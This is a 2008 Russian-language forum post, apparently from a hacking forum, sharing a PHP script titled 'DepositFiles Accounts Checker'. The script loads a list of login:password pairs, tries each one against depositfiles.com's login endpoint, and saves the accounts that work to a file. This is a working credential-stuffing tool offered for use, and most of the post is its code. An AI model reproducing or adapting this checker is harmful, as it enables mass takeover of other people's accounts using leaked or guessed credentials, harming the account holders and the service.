Показать сообщение отдельно

DepositFiles Accounts Checker
  #8  
Старый 05.10.2008, 08:44
#Wolf#
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме:
3799424

Репутация: 479
По умолчанию DepositFiles Accounts Checker

вот решил написать чекер акков депозитфайлс.
accounts.txt - файл с акками вида login:рassword
valid.txt - рабочие аккаунты
PHP код:
<?php 
<?php 
#################################
# DepositFiles Accounts Checker       
#              by #Wolf#     
#        ICQ: 79-47-79                                              
#################################
set_time_limit(0); 
$user_agent "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)"# User Agent  
$acclist="accounts.txt"#Файл с аккаунтами вида логин:пароль
$vallist="valid.txt"#куда будем писать валидные аккаунты
$account=file($acclist); #Помещаем аккаунты в массив 
$valid=$invalid=0
function 
Check($login,$pass) {
 
$fp=fsockopen("depositfiles.com",80,$errno,$errstr,30); #открываем сокет
 
$out "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n";   # Отправляем заголовки  
 
$out .= "Host: depositfiles.com\r\n"
 
$out .= "Keep-Alive: 300\r\n";
 
$out .= "Connection: keep-alive\r\n";
 
$out .= "User-Agent: ".$user_agent."\r\n"
 
$out .= "Cookie: income=1\r\n"
 
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
 
fwrite($fp,$out);
 
$ans '';     
 while (!
feof($fp)) { 
        
$ans .= fgets($fp128);  # ответ сервера  
    
}
 
fclose($fp);  # Закрываем сокеты  
 
return strpos($ans,"autologin=") ? true false# Проверяем 

echo 
'<h3>Валидные логины:пароли</h3>'
for(
$i=0;$i<count($account);$i++) {  #цикл
 
list($login,$pass) = explode(":",trim($account[$i]));  # разбиваем аккаунты на логин и пароль
    
if (Check($login,$pass)) {  # Вызываем функцию проверки аккаунта 
    
echo $login.':'.$pass.'<br />';
    
flush();
    
ob_flush();
    
$fd fopen($vallist,'a+'); # открываем файл
    
fputs($fd,$account[$i]); # записываем  в файл  рабочий акк 
    
fclose($fd);  # закрываем файл
    
++$valid
    }else {++
$invalid;} 

echo 
"<br><h3>Итого</h3>Рабочих  аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid.""
?>
kaimi спасибо, поправил

Последний раз редактировалось #Wolf#; 30.11.2009 в 12:43..
 
Ответить с цитированием